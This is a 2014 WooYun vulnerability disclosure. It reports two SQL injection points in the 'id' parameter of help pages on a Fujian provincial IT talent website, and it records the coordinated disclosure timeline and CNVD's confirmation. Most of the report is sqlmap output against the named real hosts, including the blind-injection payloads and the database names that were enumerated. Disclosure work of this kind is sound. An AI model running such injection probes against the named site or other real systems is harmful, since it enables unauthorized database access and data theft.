当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060632

漏洞标题:福建信息人才网主站与分站两处sql注入(可跨库)

相关厂商:福建信息人才网

漏洞作者: Mosuan

提交时间:2014-05-17 21:09

修复时间:2014-07-01 21:10

公开时间:2014-07-01 21:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向核心白帽子及相关领域专家公开
2014-06-11: 细节向普通白帽子公开
2014-06-21: 细节向实习白帽子公开
2014-07-01: 细节向公众公开

简要描述:

呵呵

详细说明:

我很多漏洞标题都是使用“某省”、“某市”来说,这是为了保护网站,你们懂的.....

http://new.fjite.gov.cn:8888/help/index.php?id=34


第一枚注入 :http://new.fjite.gov.cn:8888/help/index.php?id=34
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:20:43
[00:20:43] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\new.fjite.gov.cn\session' as session file
[00:20:43] [INFO] testing connection to the target url
[00:20:45] [INFO] testing if the url is stable, wait a few seconds
[00:20:48] [INFO] url is stable
[00:20:48] [INFO] testing if GET parameter 'id' is dynamic
[00:20:50] [INFO] confirming that GET parameter 'id' is dynamic
[00:20:52] [INFO] GET parameter 'id' is dynamic
[00:20:53] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[00:20:53] [INFO] testing sql injection on GET parameter 'id'
[00:20:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:21:11] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[00:21:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:21:12] [INFO] heuristics detected web page charset 'GB2312'
[00:21:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:21:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:21:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:21:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:21:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:21:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:21:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:21:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:21:21] [INFO] testing 'Oracle AND time-based blind'
[00:21:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:21:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:21:32] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:21:38] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=34 AND 7417=7417
---
[00:22:13] [INFO] testing MySQL
[00:22:15] [INFO] confirming MySQL
[00:22:18] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[00:22:18] [INFO] fetching database names
[00:22:18] [INFO] fetching number of databases
[00:22:18] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:22:18] [INFO] retrieved: 5
[00:22:40] [INFO] retrieved: information_schema
[00:26:31] [INFO] retrieved: fjxxrcw
[00:27:57] [INFO] retrieved: mysql
[00:28:28] [INFO] retrieved: performance_schema
[00:30:53] [INFO] retrieved: test
available databases [5]:
[*] fjxxrcw
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[00:31:29] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\new.fjite.gov.cn'
[*] shutting down at 00:31:29


第二枚注入 http://fjite.gov.cn/help/index.php?id=36


注入地址:http://fjite.gov.cn/help/index.php?id=36
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:33:08
[00:33:09] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\fjite.gov.cn\session' as session file
[00:33:09] [INFO] testing connection to the target url
[00:33:09] [INFO] testing if the url is stable, wait a few seconds
[00:33:10] [INFO] url is stable
[00:33:10] [INFO] testing if GET parameter 'id' is dynamic
[00:33:11] [INFO] confirming that GET parameter 'id' is dynamic
[00:33:11] [INFO] GET parameter 'id' is dynamic
[00:33:11] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[00:33:11] [INFO] testing sql injection on GET parameter 'id'
[00:33:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:33:13] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[00:33:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:33:13] [INFO] heuristics detected web page charset 'GB2312'
[00:33:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:33:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:33:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:33:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:33:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:33:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:33:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:33:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:33:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:33:17] [INFO] testing 'Oracle AND time-based blind'
[00:33:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:33:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:33:20] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:33:22] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 43 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=36 AND 5494=5494
---
[00:33:45] [INFO] testing MySQL
[00:33:45] [INFO] confirming MySQL
[00:33:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.22, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[00:33:47] [INFO] fetching database names
[00:33:47] [INFO] fetching number of databases
[00:33:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:33:47] [INFO] retrieved: 5
[00:33:51] [INFO] retrieved: information_schema
[00:35:49] [INFO] retrieved: fjxxrcw
[00:36:27] [INFO] retrieved: mysql
[00:37:02] [INFO] retrieved: performance_schema
[00:38:29] [INFO] retrieved: test
available databases [5]:
[*] fjxxrcw
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[00:38:45] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\fjite.gov.cn'
[*] shutting down at 00:38:45

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-22 17:17

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心处置。

最新状态:

暂无